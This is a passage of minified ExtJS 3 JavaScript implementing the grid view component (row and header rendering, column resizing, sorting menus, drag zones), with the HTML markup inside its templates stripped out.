lastRowCls:"x-grid3-row-last", rowClsRe:/(?:^|\s+)x-grid3-row-(first|last|alt)(?:\s+|$)/g, headerMenuOpenCls:"x-grid3-hd-menu-open", rowOverCls:"x-grid3-row-over", constructor:function (a) { Ext.apply(this, a); this.addEvents("beforerowremoved", "beforerowsinserted", "beforerefresh", "rowremoved", "rowsinserted", "rowupdated", "refresh"); Ext.grid.GridView.superclass.constructor.call(this) }, masterTpl:new Ext.Template('
    ', '
    ', '
    ', '
    ', '
    {header}
    ', "
    ", '
    ', "
    ", '
    ', '
    {body}
    ', '', "
    ", "
    ", '
     
    ', '
     
    ', "
    "), headerTpl:new Ext.Template('', "", '{cells}', "", "
    "), bodyTpl:new Ext.Template("{rows}"), cellTpl:new Ext.Template('', '
    {value}
    ', ""), initTemplates:function () { var c = this.templates || {}, d, b, g = new Ext.Template('', '
    ', this.grid.enableHdMenu ? '' : "", "{value}", '', "
    ", ""), a = ['', '', '
    {body}
    ', "", ""].join(""), e = ['', "", "{cells}", this.enableRowBody ? a : "", "", "
    "].join(""); Ext.applyIf(c, {hcell:g, cell:this.cellTpl, body:this.bodyTpl, header:this.headerTpl, master:this.masterTpl, row:new Ext.Template('
    ' + e + "
    "), rowInner:new Ext.Template(e)}); for (b in c) { d = c[b]; if (d && Ext.isFunction(d.compile) && !d.compiled) { d.disableFormats = true; d.compile() } } this.templates = c; this.colRe = new RegExp("x-grid3-td-([^\\s]+)", "") }, fly:function (a) { if (!this._flyweight) { this._flyweight = new Ext.Element.Flyweight(document.body) } this._flyweight.dom = a; return this._flyweight }, getEditorParent:function () { return this.scroller.dom }, initElements:function () { var b = Ext.Element, d = Ext.get(this.grid.getGridEl().dom.firstChild), e = new b(d.child("div.x-grid3-viewport")), c = new b(e.child("div.x-grid3-header")), a = new b(e.child("div.x-grid3-scroller")); if (this.grid.hideHeaders) { c.setDisplayed(false) } if (this.forceFit) { a.setStyle("overflow-x", "hidden") } Ext.apply(this, {el:d, mainWrap:e, scroller:a, mainHd:c, innerHd:c.child("div.x-grid3-header-inner").dom, mainBody:new b(b.fly(a).child("div.x-grid3-body")), focusEl:new b(b.fly(a).child("a")), resizeMarker:new b(d.child("div.x-grid3-resize-marker")), resizeProxy:new b(d.child("div.x-grid3-resize-proxy"))}); this.focusEl.swallowEvent("click", true) }, getRows:function () { return this.hasRows() ? this.mainBody.dom.childNodes : [] }, findCell:function (a) { if (!a) { return false } return this.fly(a).findParent(this.cellSelector, this.cellSelectorDepth) }, findCellIndex:function (d, c) { var b = this.findCell(d), a; if (b) { a = this.fly(b).hasClass(c); if (!c || a) { return this.getCellIndex(b) } } return false }, getCellIndex:function (b) { if (b) { var a = b.className.match(this.colRe); if (a && a[1]) { return this.cm.getIndexById(a[1]) } } return false }, findHeaderCell:function (b) { var a = this.findCell(b); return a && this.fly(a).hasClass(this.hdCls) ? a : null }, findHeaderIndex:function (a) { return this.findCellIndex(a, this.hdCls) }, findRow:function (a) { if (!a) { return false } return this.fly(a).findParent(this.rowSelector, this.rowSelectorDepth) }, findRowIndex:function (a) { var b = this.findRow(a); return b ? b.rowIndex : false }, findRowBody:function (a) { if (!a) { return false } return this.fly(a).findParent(this.rowBodySelector, this.rowBodySelectorDepth) }, getRow:function (a) { return this.getRows()[a] }, getCell:function (b, a) { return Ext.fly(this.getRow(b)).query(this.cellSelector)[a] }, getHeaderCell:function (a) { return this.mainHd.dom.getElementsByTagName("td")[a] }, addRowClass:function (b, a) { var c = this.getRow(b); if (c) { this.fly(c).addClass(a) } }, removeRowClass:function (c, a) { var b = this.getRow(c); if (b) { this.fly(b).removeClass(a) } }, removeRow:function (a) { Ext.removeNode(this.getRow(a)); this.syncFocusEl(a) }, removeRows:function (c, a) { var b = this.mainBody.dom, d; for (d = c; d <= a; d++) { Ext.removeNode(b.childNodes[c]) } this.syncFocusEl(c) }, getScrollState:function () { var a = this.scroller.dom; return{left:a.scrollLeft, top:a.scrollTop} }, restoreScroll:function (a) { var b = this.scroller.dom; b.scrollLeft = a.left; b.scrollTop = a.top }, scrollToTop:function () { var a = this.scroller.dom; a.scrollTop = 0; a.scrollLeft = 0 }, syncScroll:function () { this.syncHeaderScroll(); var a = this.scroller.dom; this.grid.fireEvent("bodyscroll", a.scrollLeft, a.scrollTop) }, syncHeaderScroll:function () { var a = this.innerHd, b = this.scroller.dom.scrollLeft; a.scrollLeft = b; a.scrollLeft = b }, updateSortIcon:function (d, c) { var a = this.sortClasses, b = a[c == "DESC" ? 1 : 0], e = this.mainHd.select("td").removeClass(a); e.item(d).addClass(b) }, updateAllColumnWidths:function () { var e = this.getTotalWidth(), k = this.cm.getColumnCount(), m = this.getRows(), g = m.length, b = [], l, a, h, d, c; for (d = 0; d < k; d++) { b[d] = this.getColumnWidth(d); this.getHeaderCell(d).style.width = b[d] } this.updateHeaderWidth(); for (d = 0; d < g; d++) { l = m[d]; l.style.width = e; a = l.firstChild; if (a) { a.style.width = e; h = a.rows[0]; for (c = 0; c < k; c++) { h.childNodes[c].style.width = b[c] } } } this.onAllColumnWidthsUpdated(b, e) }, updateColumnWidth:function (d, b) { var c = this.getColumnWidth(d), j = this.getTotalWidth(), h = this.getHeaderCell(d), a = this.getRows(), e = a.length, l, g, k; this.updateHeaderWidth(); h.style.width = c; for (g = 0; g < e; g++) { l = a[g]; k = l.firstChild; l.style.width = j; if (k) { k.style.width = j; k.rows[0].childNodes[d].style.width = c } } this.onColumnWidthUpdated(d, c, j) }, updateColumnHidden:function (b, j) { var h = this.getTotalWidth(), k = j ? "none" : "", g = this.getHeaderCell(b), a = this.getRows(), d = a.length, l, c, e; this.updateHeaderWidth(); g.style.display = k; for (e = 0; e < d; e++) { l = a[e]; l.style.width = h; c = l.firstChild; if (c) { c.style.width = h; c.rows[0].childNodes[b].style.display = k } } this.onColumnHiddenUpdated(b, j, h); delete this.lastViewWidth; this.layout() }, doRender:function (d, v, m, a, r, t) { var h = this.templates, c = h.cell, y = h.row, o = r - 1, b = "width:" + this.getTotalWidth() + ";", k = [], l = [], n = {tstyle:b}, q = {}, w = v.length, x, g, e, u, s, p; for (s = 0; s < w; s++) { e = v[s]; l = []; p = s + a; for (u = 0; u < r; u++) { g = d[u]; q.id = g.id; q.css = u === 0 ? "x-grid3-cell-first " : (u == o ? "x-grid3-cell-last " : ""); q.attr = q.cellAttr = ""; q.style = g.style; q.value = g.renderer.call(g.scope, e.data[g.name], q, e, p, u, m); if (Ext.isEmpty(q.value)) { q.value = " " } if (this.markDirty && e.dirty && typeof e.modified[g.name] != "undefined") { q.css += " x-grid3-dirty-cell" } l[l.length] = c.apply(q) } x = []; if (t && ((p + 1) % 2 === 0)) { x[0] = "x-grid3-row-alt" } if (e.dirty) { x[1] = " x-grid3-dirty-row" } n.cols = r; if (this.getRowClass) { x[2] = this.getRowClass(e, p, n, m) } n.alt = x.join(" "); n.cells = l.join(""); k[k.length] = y.apply(n) } return k.join("") }, processRows:function (a, g) { if (!this.ds || this.ds.getCount() < 1) { return } var d = this.getRows(), c = d.length, e, b; g = g || !this.grid.stripeRows; a = a || 0; for (b = 0; b < c; b++) { e = d[b]; if (e) { e.rowIndex = b; if (!g) { e.className = e.className.replace(this.rowClsRe, " "); if ((b + 1) % 2 === 0) { e.className += " x-grid3-row-alt" } } } } if (a === 0) { Ext.fly(d[0]).addClass(this.firstRowCls) } Ext.fly(d[c - 1]).addClass(this.lastRowCls) }, afterRender:function () { if (!this.ds || !this.cm) { return } this.mainBody.dom.innerHTML = this.renderBody() || " "; this.processRows(0, true); if (this.deferEmptyText !== true) { this.applyEmptyText() } this.grid.fireEvent("viewready", this.grid) }, afterRenderUI:function () { var a = this.grid; this.initElements(); Ext.fly(this.innerHd).on("click", this.handleHdDown, this); this.mainHd.on({scope:this, mouseover:this.handleHdOver, mouseout:this.handleHdOut, mousemove:this.handleHdMove}); this.scroller.on("scroll", this.syncScroll, this); if (a.enableColumnResize !== false) { this.splitZone = new Ext.grid.GridView.SplitDragZone(a, this.mainHd.dom) } if (a.enableColumnMove) { this.columnDrag = new Ext.grid.GridView.ColumnDragZone(a, this.innerHd); this.columnDrop = new Ext.grid.HeaderDropZone(a, this.mainHd.dom) } if (a.enableHdMenu !== false) { this.hmenu = new Ext.menu.Menu({id:a.id + "-hctx"}); this.hmenu.add({itemId:"asc", text:this.sortAscText, cls:"xg-hmenu-sort-asc"}, {itemId:"desc", text:this.sortDescText, cls:"xg-hmenu-sort-desc"}); if (a.enableColumnHide !== false) { this.colMenu = new Ext.menu.Menu({id:a.id + "-hcols-menu"}); this.colMenu.on({scope:this, beforeshow:this.beforeColMenuShow, itemclick:this.handleHdMenuClick}); this.hmenu.add("-", {itemId:"columns", hideOnClick:false, text:this.columnsText, menu:this.colMenu, iconCls:"x-cols-icon"}) } this.hmenu.on("itemclick", this.handleHdMenuClick, this) } if (a.trackMouseOver) { this.mainBody.on({scope:this, mouseover:this.onRowOver, mouseout:this.onRowOut}) } if (a.enableDragDrop || a.enableDrag) { this.dragZone = new Ext.grid.GridDragZone(a, {ddGroup:a.ddGroup || "GridDD"}) } this.updateHeaderSortState() }, renderUI:function () { var a = this.templates; return a.master.apply({body:a.body.apply({rows:" "}), header:this.renderHeaders(), ostyle:"width:" + this.getOffsetWidth() + ";", bstyle:"width:" + this.getTotalWidth() + ";"}) }, processEvent:function (b, h) { var i = h.getTarget(), a = this.grid, d = this.findHeaderIndex(i), k, j, c, g; a.fireEvent(b, h); if (d !== false) { a.fireEvent("header" + b, a, d, h) } else { k = this.findRowIndex(i); if (k !== false) { j = this.findCellIndex(i); if (j !== false) { c = a.colModel.getColumnAt(j); if (a.fireEvent("cell" + b, a, k, j, h) !== false) { if (!c || (c.processEvent && (c.processEvent(b, h, a, k, j) !== false))) { a.fireEvent("row" + b, a, k, h) } } } else { if (a.fireEvent("row" + b, a, k, h) !== false) { (g = this.findRowBody(i)) && a.fireEvent("rowbody" + b, a, k, h) } } } else { a.fireEvent("container" + b, a, h) } } }, layout:function (j) { if (!this.mainBody) { return } var a = this.grid, d = a.getGridEl(), c = d.getSize(true), i = c.width, b = c.height, h = this.scroller, g, e, k; if (i < 20 || b < 20) { return } if (a.autoHeight) { g = h.dom.style; g.overflow = "visible"; if (Ext.isWebKit) { g.position = "static" } } else { this.el.setSize(i, b); e = this.mainHd.getHeight(); k = b - e; h.setSize(i, k); if (this.innerHd) { this.innerHd.style.width = (i) + "px" } } if (this.forceFit || (j === true && this.autoFill)) { if (this.lastViewWidth != i) { this.fitColumns(false, false); this.lastViewWidth = i } } else { this.autoExpand(); this.syncHeaderScroll() } this.onLayout(i, k) }, onLayout:function (a, b) { }, onColumnWidthUpdated:function (c, a, b) { }, onAllColumnWidthsUpdated:function (a, b) { }, onColumnHiddenUpdated:function (b, c, a) { }, updateColumnText:function (a, b) { }, afterMove:function (a) { }, init:function (a) { this.grid = a; this.initTemplates(); this.initData(a.store, a.colModel); this.initUI(a) }, getColumnId:function (a) { return this.cm.getColumnId(a) }, getOffsetWidth:function () { return(this.cm.getTotalWidth() + this.getScrollOffset()) + "px" }, getScrollOffset:function () { return Ext.num(this.scrollOffset, Ext.getScrollBarWidth()) }, renderHeaders:function () { var e = this.cm, g = this.templates, a = g.hcell, d = {}, h = e.getColumnCount(), j = h - 1, k = [], c, b; for (c = 0; c < h; c++) { if (c == 0) { b = "x-grid3-cell-first " } else { b = c == j ? "x-grid3-cell-last " : "" } d = {id:e.getColumnId(c), value:e.getColumnHeader(c) || "", style:this.getColumnStyle(c, true), css:b, tooltip:this.getColumnTooltip(c)}; if (e.config[c].align == "right") { d.istyle = "padding-right: 16px;" } else { delete d.istyle } k[c] = a.apply(d) } return g.header.apply({cells:k.join(""), tstyle:String.format("width: {0};", this.getTotalWidth())}) }, getColumnTooltip:function (a) { var b = this.cm.getColumnTooltip(a); if (b) { if (Ext.QuickTips.isEnabled()) { return'ext:qtip="' + b + '"' } else { return'title="' + b + '"' } } return"" }, beforeUpdate:function () { this.grid.stopEditing(true) }, updateHeaders:function () { this.innerHd.firstChild.innerHTML = this.renderHeaders(); this.updateHeaderWidth(false) }, updateHeaderWidth:function (c) { var b = this.innerHd.firstChild, a = this.getTotalWidth(); b.style.width = this.getOffsetWidth(); b.firstChild.style.width = a; if (c !== false) { this.mainBody.dom.style.width = a } }, focusRow:function (a) { this.focusCell(a, 0, false) }, focusCell:function (d, b, c) { this.syncFocusEl(this.ensureVisible(d, b, c)); var a = this.focusEl; if (Ext.isGecko) { a.focus() } else { a.focus.defer(1, a) } }, resolveCell:function (h, d, g) { if (!Ext.isNumber(h)) { h = h.rowIndex } if (!this.ds) { return null } if (h < 0 || h >= this.ds.getCount()) { return null } d = (d !== undefined ? d : 0); var c = this.getRow(h), b = this.cm, e = b.getColumnCount(), a; if (!(g === false && d === 0)) { while (d < e && b.isHidden(d)) { d++ } a = this.getCell(h, d) } return{row:c, cell:a} }, getResolvedXY:function (b) { if (!b) { return null } var a = b.cell, c = b.row; if (a) { return Ext.fly(a).getXY() } else { return[this.el.getX(), Ext.fly(c).getY()] } }, syncFocusEl:function (d, a, c) { var b = d; if (!Ext.isArray(b)) { d = Math.min(d, Math.max(0, this.getRows().length - 1)); if (isNaN(d)) { return } b = this.getResolvedXY(this.resolveCell(d, a, c)) } this.focusEl.setXY(b || this.scroller.getXY()) }, ensureVisible:function (t, g, e) { var r = this.resolveCell(t, g, e); if (!r || !r.row) { return null } var k = r.row, h = r.cell, n = this.scroller.dom, d = k, s = 0, o = this.el.dom; while (d && d != o) { s += d.offsetTop; d = d.offsetParent } s -= this.mainHd.dom.offsetHeight; o = parseInt(n.scrollTop, 10); var q = s + k.offsetHeight, a = n.clientHeight, m = o + a; if (s < o) { n.scrollTop = s } else { if (q > m) { n.scrollTop = q - a } } if (e !== false) { var l = parseInt(h.offsetLeft, 10), j = l + h.offsetWidth, i = parseInt(n.scrollLeft, 10), b = i + n.clientWidth; if (l < i) { n.scrollLeft = l } else { if (j > b) { n.scrollLeft = j - n.clientWidth } } } return this.getResolvedXY(r) }, insertRows:function (a, i, e, h) { var d = a.getCount() - 1; if (!h && i === 0 && e >= d) { this.fireEvent("beforerowsinserted", this, i, e); this.refresh(); this.fireEvent("rowsinserted", this, i, e) } else { if (!h) { this.fireEvent("beforerowsinserted", this, i, e) } var b = this.renderRows(i, e), g = this.getRow(i); if (g) { if (i === 0) { Ext.fly(this.getRow(0)).removeClass(this.firstRowCls) } Ext.DomHelper.insertHtml("beforeBegin", g, b) } else { var c = this.getRow(d - 1); if (c) { Ext.fly(c).removeClass(this.lastRowCls) } Ext.DomHelper.insertHtml("beforeEnd", this.mainBody.dom, b) } if (!h) { this.processRows(i); this.fireEvent("rowsinserted", this, i, e) } else { if (i === 0 || i >= d) { Ext.fly(this.getRow(i)).addClass(i === 0 ? this.firstRowCls : this.lastRowCls) } } } this.syncFocusEl(i) }, deleteRows:function (a, c, b) { if (a.getRowCount() < 1) { this.refresh() } else { this.fireEvent("beforerowsdeleted", this, c, b); this.removeRows(c, b); this.processRows(c); this.fireEvent("rowsdeleted", this, c, b) } }, getColumnStyle:function (b, d) { var a = this.cm, g = a.config, c = d ? "" : g[b].css || "", e = g[b].align; c += String.format("width: {0};", this.getColumnWidth(b)); if (a.isHidden(b)) { c += "display: none; " } if (e) { c += String.format("text-align: {0};", e) } return c }, getColumnWidth:function (b) { var c = this.cm.getColumnWidth(b), a = this.borderWidth; if (Ext.isNumber(c)) { if (Ext.isBorderBox || (Ext.isWebKit && !Ext.isSafari2)) { return c + "px" } else { return Math.max(c - a, 0) + "px" } } else { return c } }, getTotalWidth:function () { return this.cm.getTotalWidth() + "px" }, fitColumns:function (g, j, h) { var a = this.grid, l = this.cm, s = l.getTotalWidth(false), q = this.getGridInnerWidth(), r = q - s, c = [], o = 0, n = 0, u, d, p; if (q < 20 || r === 0) { return false } var e = l.getColumnCount(true), m = l.getColumnCount(false), b = e - (Ext.isNumber(h) ? 1 : 0); if (b === 0) { b = 1; h = undefined } for (p = 0; p < m; p++) { if (!l.isFixed(p) && p !== h) { u = l.getColumnWidth(p); c.push(p, u); if (!l.isHidden(p)) { o = p; n += u } } } d = (q - l.getTotalWidth()) / n; while (c.length) { u = c.pop(); p = c.pop(); l.setColumnWidth(p, Math.max(a.minColumnWidth, Math.floor(u + u * d)), true) } s = l.getTotalWidth(false); if (s > q) { var t = (b == e) ? o : h, k = Math.max(1, l.getColumnWidth(t) - (s - q)); l.setColumnWidth(t, k, true) } if (g !== true) { this.updateAllColumnWidths() } return true }, autoExpand:function (k) { var a = this.grid, i = this.cm, e = this.getGridInnerWidth(), c = i.getTotalWidth(false), g = a.autoExpandColumn; if (!this.userResized && g) { if (e != c) { var j = i.getIndexById(g), b = i.getColumnWidth(j), h = e - c + b, d = Math.min(Math.max(h, a.autoExpandMin), a.autoExpandMax); if (b != d) { i.setColumnWidth(j, d, true); if (k !== true) { this.updateColumnWidth(j, d) } } } } }, getGridInnerWidth:function () { return this.grid.getGridEl().getWidth(true) - this.getScrollOffset() }, getColumnData:function () { var e = [], c = this.cm, g = c.getColumnCount(), a = this.ds.fields, d, b; for (d = 0; d < g; d++) { b = c.getDataIndex(d); e[d] = {name:Ext.isDefined(b) ? b : (a.get(d) ? a.get(d).name : undefined), renderer:c.getRenderer(d), scope:c.getRendererScope(d), id:c.getColumnId(d), style:this.getColumnStyle(d)} } return e }, renderRows:function (i, c) { var a = this.grid, g = a.store, j = a.stripeRows, e = a.colModel, h = e.getColumnCount(), d = g.getCount(), b; if (d < 1) { return"" } i = i || 0; c = Ext.isDefined(c) ? c : d - 1; b = g.getRange(i, c); return this.doRender(this.getColumnData(), b, g, i, h, j) }, renderBody:function () { var a = this.renderRows() || " "; return this.templates.body.apply({rows:a}) }, refreshRow:function (g) { var l = this.ds, m = this.cm.getColumnCount(), c = this.getColumnData(), n = m - 1, p = ["x-grid3-row"], e = {tstyle:String.format("width: {0};", this.getTotalWidth())}, a = [], k = this.templates.cell, j, q, b, o, h, d; if (Ext.isNumber(g)) { j = g; g = l.getAt(j) } else { j = l.indexOf(g) } if (!g || j < 0) { return } for (d = 0; d < m; d++) { b = c[d]; if (d == 0) { h = "x-grid3-cell-first" } else { h = (d == n) ? "x-grid3-cell-last " : "" } o = {id:b.id, style:b.style, css:h, attr:"", cellAttr:""}; o.value = b.renderer.call(b.scope, g.data[b.name], o, g, j, d, l); if (Ext.isEmpty(o.value)) { o.value = " " } if (this.markDirty && g.dirty && typeof g.modified[b.name] != "undefined") { o.css += " x-grid3-dirty-cell" } a[d] = k.apply(o) } q = this.getRow(j); q.className = ""; if (this.grid.stripeRows && ((j + 1) % 2 === 0)) { p.push("x-grid3-row-alt") } if (this.getRowClass) { e.cols = m; p.push(this.getRowClass(g, j, e, l)) } this.fly(q).addClass(p).setStyle(e.tstyle); e.cells = a.join(""); q.innerHTML = this.templates.rowInner.apply(e); this.fireEvent("rowupdated", this, j, g) }, refresh:function (b) { this.fireEvent("beforerefresh", this); this.grid.stopEditing(true); var a = this.renderBody(); this.mainBody.update(a).setWidth(this.getTotalWidth()); if (b === true) { this.updateHeaders(); this.updateHeaderSortState() } this.processRows(0, true); this.layout(); this.applyEmptyText(); this.fireEvent("refresh", this) }, applyEmptyText:function () { if (this.emptyText && !this.hasRows()) { this.mainBody.update('
    ' + this.emptyText + "
    ") } }, updateHeaderSortState:function () { var b = this.ds.getSortState(); if (!b) { return } if (!this.sortState || (this.sortState.field != b.field || this.sortState.direction != b.direction)) { this.grid.fireEvent("sortchange", this.grid, b) } this.sortState = b; var c = this.cm.findColumnIndex(b.field); if (c != -1) { var a = b.direction; this.updateSortIcon(c, a) } }, clearHeaderSortState:function () { if (!this.sortState) { return } this.grid.fireEvent("sortchange", this.grid, null); this.mainHd.select("td").removeClass(this.sortClasses); delete this.sortState }, destroy:function () { var j = this, a = j.grid, d = a.getGridEl(), i = j.dragZone, g = j.splitZone, h = j.columnDrag, e = j.columnDrop, k = j.scrollToTopTask, c, b; if (k && k.cancel) { k.cancel() } Ext.destroyMembers(j, "colMenu", "hmenu"); j.initData(null, null); j.purgeListeners(); Ext.fly(j.innerHd).un("click", j.handleHdDown, j); if (a.enableColumnMove) { c = h.dragData; b = h.proxy; Ext.destroy(h.el, b.ghost, b.el, e.el, e.proxyTop, e.proxyBottom, c.ddel, c.header); if (b.anim) { Ext.destroy(b.anim) } delete b.ghost; delete c.ddel; delete c.header; h.destroy(); delete Ext.dd.DDM.locationCache[h.id]; delete h._domRef; delete e.proxyTop; delete e.proxyBottom; e.destroy(); delete Ext.dd.DDM.locationCache["gridHeader" + d.id]; delete e._domRef; delete Ext.dd.DDM.ids[e.ddGroup] } if (g) { g.destroy(); delete g._domRef; delete Ext.dd.DDM.ids["gridSplitters" + d.id] } Ext.fly(j.innerHd).removeAllListeners(); Ext.removeNode(j.innerHd); delete j.innerHd; Ext.destroy(j.el, j.mainWrap, j.mainHd, j.scroller, j.mainBody, j.focusEl, j.resizeMarker, j.resizeProxy, j.activeHdBtn, j._flyweight, i, g); delete a.container; if (i) { i.destroy() } Ext.dd.DDM.currentTarget = null; delete Ext.dd.DDM.locationCache[d.id]; Ext.EventManager.removeResizeListener(j.onWindowResize, j) }, onDenyColumnHide:function () { }, render:function () { if (this.autoFill) { var a = this.grid.ownerCt; if (a && a.getLayout()) { a.on("afterlayout", function () { this.fitColumns(true, true); this.updateHeaders(); this.updateHeaderSortState() }, this, {single:true}) } } else { if (this.forceFit) { this.fitColumns(true, false) } else { if (this.grid.autoExpandColumn) { this.autoExpand(true) } } } this.grid.getGridEl().dom.innerHTML = this.renderUI(); this.afterRenderUI() }, initData:function (a, e) { var b = this; if (b.ds) { var d = b.ds; d.un("add", b.onAdd, b); d.un("load", b.onLoad, b); d.un("clear", b.onClear, b); d.un("remove", b.onRemove, b); d.un("update", b.onUpdate, b); d.un("datachanged", b.onDataChange, b); if (d !== a && d.autoDestroy) { d.destroy() } } if (a) { a.on({scope:b, load:b.onLoad, add:b.onAdd, remove:b.onRemove, update:b.onUpdate, clear:b.onClear, datachanged:b.onDataChange}) } if (b.cm) { var c = b.cm; c.un("configchange", b.onColConfigChange, b); c.un("widthchange", b.onColWidthChange, b); c.un("headerchange", b.onHeaderChange, b); c.un("hiddenchange", b.onHiddenChange, b); c.un("columnmoved", b.onColumnMove, b) } if (e) { delete b.lastViewWidth; e.on({scope:b, configchange:b.onColConfigChange, widthchange:b.onColWidthChange, headerchange:b.onHeaderChange, hiddenchange:b.onHiddenChange, columnmoved:b.onColumnMove}) } b.ds = a; b.cm = e }, onDataChange:function () { this.refresh(true); this.updateHeaderSortState(); this.syncFocusEl(0) }, onClear:function () { this.refresh(); this.syncFocusEl(0) }, onUpdate:function (b, a) { this.refreshRow(a) }, onAdd:function (b, a, c) { this.insertRows(b, c, c + (a.length - 1)) }, onRemove:function (b, a, c, d) { if (d !== true) { this.fireEvent("beforerowremoved", this, c, a) } this.removeRow(c); if (d !== true) { this.processRows(c); this.applyEmptyText(); this.fireEvent("rowremoved", this, c, a) } }, onLoad:function () { if (Ext.isGecko) { if (!this.scrollToTopTask) { this.scrollToTopTask = new Ext.util.DelayedTask(this.scrollToTop, this) } this.scrollToTopTask.delay(1) } else { this.scrollToTop() } }, onColWidthChange:function (a, b, c) { this.updateColumnWidth(b, c) }, onHeaderChange:function (a, b, c) { this.updateHeaders() }, onHiddenChange:function (a, b, c) { this.updateColumnHidden(b, c) }, onColumnMove:function (a, c, b) { this.indexMap = null; this.refresh(true); this.restoreScroll(this.getScrollState()); this.afterMove(b); this.grid.fireEvent("columnmove", c, b) }, onColConfigChange:function () { delete this.lastViewWidth; this.indexMap = null; this.refresh(true) }, initUI:function (a) { a.on("headerclick", this.onHeaderClick, this) }, initEvents:Ext.emptyFn, onHeaderClick:function (b, a) { if (this.headersDisabled || !this.cm.isSortable(a)) { return } b.stopEditing(true); b.store.sort(this.cm.getDataIndex(a)) }, onRowOver:function (b, a) { var c = this.findRowIndex(a); if (c !== false) { this.addRowClass(c, this.rowOverCls) } }, onRowOut:function (b, a) { var c = this.findRowIndex(a); if (c !== false && !b.within(this.getRow(c), true)) { this.removeRowClass(c, this.rowOverCls) } }, onRowSelect:function (a) { this.addRowClass(a, this.selectedRowClass) }, onRowDeselect:function (a) { this.removeRowClass(a, this.selectedRowClass) }, onCellSelect:function (c, b) { var a = this.getCell(c, b); if (a) { this.fly(a).addClass("x-grid3-cell-selected") } }, onCellDeselect:function (c, b) { var a = this.getCell(c, b); if (a) { this.fly(a).removeClass("x-grid3-cell-selected") } }, handleWheel:function (a) { a.stopPropagation() }, onColumnSplitterMoved:function (a, b) { this.userResized = true; this.grid.colModel.setColumnWidth(a, b, true); if (this.forceFit) { this.fitColumns(true, false, a); this.updateAllColumnWidths() } else { this.updateColumnWidth(a, b); this.syncHeaderScroll() } this.grid.fireEvent("columnresize", a, b) }, beforeColMenuShow:function () { var b = this.cm, d = b.getColumnCount(), a = this.colMenu, c; a.removeAll(); for (c = 0; c < d; c++) { if (b.config[c].hideable !== false) { a.add(new Ext.menu.CheckItem({text:b.getColumnHeader(c), itemId:"col-" + b.getColumnId(c), checked:!b.isHidden(c), disabled:b.config[c].hideable === false, hideOnClick:false})) } } }, handleHdMenuClick:function (c) { var a = this.ds, b = this.cm.getDataIndex(this.hdCtxIndex); switch (c.getItemId()) { case"asc": a.sort(b, "ASC"); break; case"desc": a.sort(b, "DESC"); break; default: this.handleHdMenuClickDefault(c) } return true }, handleHdMenuClickDefault:function (c) { var b = this.cm, d = c.getItemId(), a = b.getIndexById(d.substr(4)); if (a != -1) { if (c.checked && b.getColumnsBy(this.isHideableColumn, this).length <= 1) { this.onDenyColumnHide(); return } b.setHidden(a, c.checked) } }, handleHdDown:function (i, j) { if (Ext.fly(j).hasClass("x-grid3-hd-btn")) { i.stopEvent(); var k = this.cm, g = this.findHeaderCell(j), h = this.getCellIndex(g), d = k.isSortable(h), c = this.hmenu, b = c.items, a = this.headerMenuOpenCls; this.hdCtxIndex = h; Ext.fly(g).addClass(a); b.get("asc").setDisabled(!d); b.get("desc").setDisabled(!d); c.on("hide", function () { Ext.fly(g).removeClass(a) }, this, {single:true}); c.show(j, "tl-bl?") } }, handleHdMove:function (k) { var i = this.findHeaderCell(this.activeHdRef); if (i && !this.headersDisabled) { var l = this.splitHandleWidth || 5, j = this.activeHdRegion, p = i.style, m = this.cm, o = "", g = k.getPageX(); if (this.grid.enableColumnResize !== false) { var a = this.activeHdIndex, b = this.getPreviousVisible(a), n = m.isResizable(a), c = b && m.isResizable(b), d = g - j.left <= l, h = j.right - g <= (!this.activeHdBtn ? l : 2); if (d && c) { o = Ext.isAir ? "move" : Ext.isWebKit ? "e-resize" : "col-resize" } else { if (h && n) { o = Ext.isAir ? "move" : Ext.isWebKit ? "w-resize" : "col-resize" } } } p.cursor = o } }, getPreviousVisible:function (a) { while (a > 0) { if (!this.cm.isHidden(a - 1)) { return a } a-- } return undefined }, handleHdOver:function (c, b) { var d = this.findHeaderCell(b); if (d && !this.headersDisabled) { var a = this.fly(d); this.activeHdRef = b; this.activeHdIndex = this.getCellIndex(d); this.activeHdRegion = a.getRegion(); if (!this.isMenuDisabled(this.activeHdIndex, a)) { a.addClass("x-grid3-hd-over"); this.activeHdBtn = a.child(".x-grid3-hd-btn"); if (this.activeHdBtn) { this.activeHdBtn.dom.style.height = (d.firstChild.offsetHeight - 1) + "px" } } } }, handleHdOut:function (b, a) { var c = this.findHeaderCell(a); if (c && (!Ext.isIE || !b.within(c, true))) { this.activeHdRef = null; this.fly(c).removeClass("x-grid3-hd-over"); c.style.cursor = "" } }, isMenuDisabled:function (a, b) { return this.cm.isMenuDisabled(a) }, hasRows:function () { var a = this.mainBody.dom.firstChild; return a && a.nodeType == 1 && a.className != "x-grid-empty" }, isHideableColumn:function (a) { return !a.hidden }, bind:function (a, b) { this.initData(a, b) }}); Ext.grid.GridView.SplitDragZone = Ext.extend(Ext.dd.DDProxy, {constructor:function (a, b) { this.grid = a; this.view = a.getView(); this.marker = this.view.resizeMarker; this.proxy = this.view.resizeProxy; Ext.grid.GridView.SplitDragZone.superclass.constructor.call(this, b, "gridSplitters" + this.grid.getGridEl().id, {dragElId:Ext.id(this.proxy.dom), resizeFrame:false}); this.scroll = false; this.hw = this.view.splitHandleWidth || 5 }, b4StartDrag:function (a, e) { this.dragHeadersDisabled = this.view.headersDisabled; this.view.headersDisabled = true; var d = this.view.mainWrap.getHeight(); this.marker.setHeight(d); this.marker.show(); this.marker.alignTo(this.view.getHeaderCell(this.cellIndex), "tl-tl", [-2, 0]); this.proxy.setHeight(d); var b = this.cm.getColumnWidth(this.cellIndex), c = Math.max(b - this.grid.minColumnWidth, 0); this.resetConstraints(); this.setXConstraint(c, 1000); this.setYConstraint(0, 0); this.minX = a - c; this.maxX = a + 1000; this.startPos = a; Ext.dd.DDProxy.prototype.b4StartDrag.call(this, a, e) }, allowHeaderDrag:function (a) { return true }, handleMouseDown:function (a) { var h = this.view.findHeaderCell(a.getTarget()); if (h && this.allowHeaderDrag(a)) { var k = this.view.fly(h).getXY(), c = k[0], i = a.getXY(), b = i[0], g = h.offsetWidth, d = false; if ((b - c) <= this.hw) { d = -1 } else { if ((c + g) - b <= this.hw) { d = 0 } } if (d !== false) { this.cm = this.grid.colModel; var j = this.view.getCellIndex(h); if (d == -1) { if (j + d < 0) { return } while (this.cm.isHidden(j + d)) { --d; if (j + d < 0) { return } } } this.cellIndex = j + d; this.split = h.dom; if (this.cm.isResizable(this.cellIndex) && !this.cm.isFixed(this.cellIndex)) { Ext.grid.GridView.SplitDragZone.superclass.handleMouseDown.apply(this, arguments) } } else { if (this.view.columnDrag) { 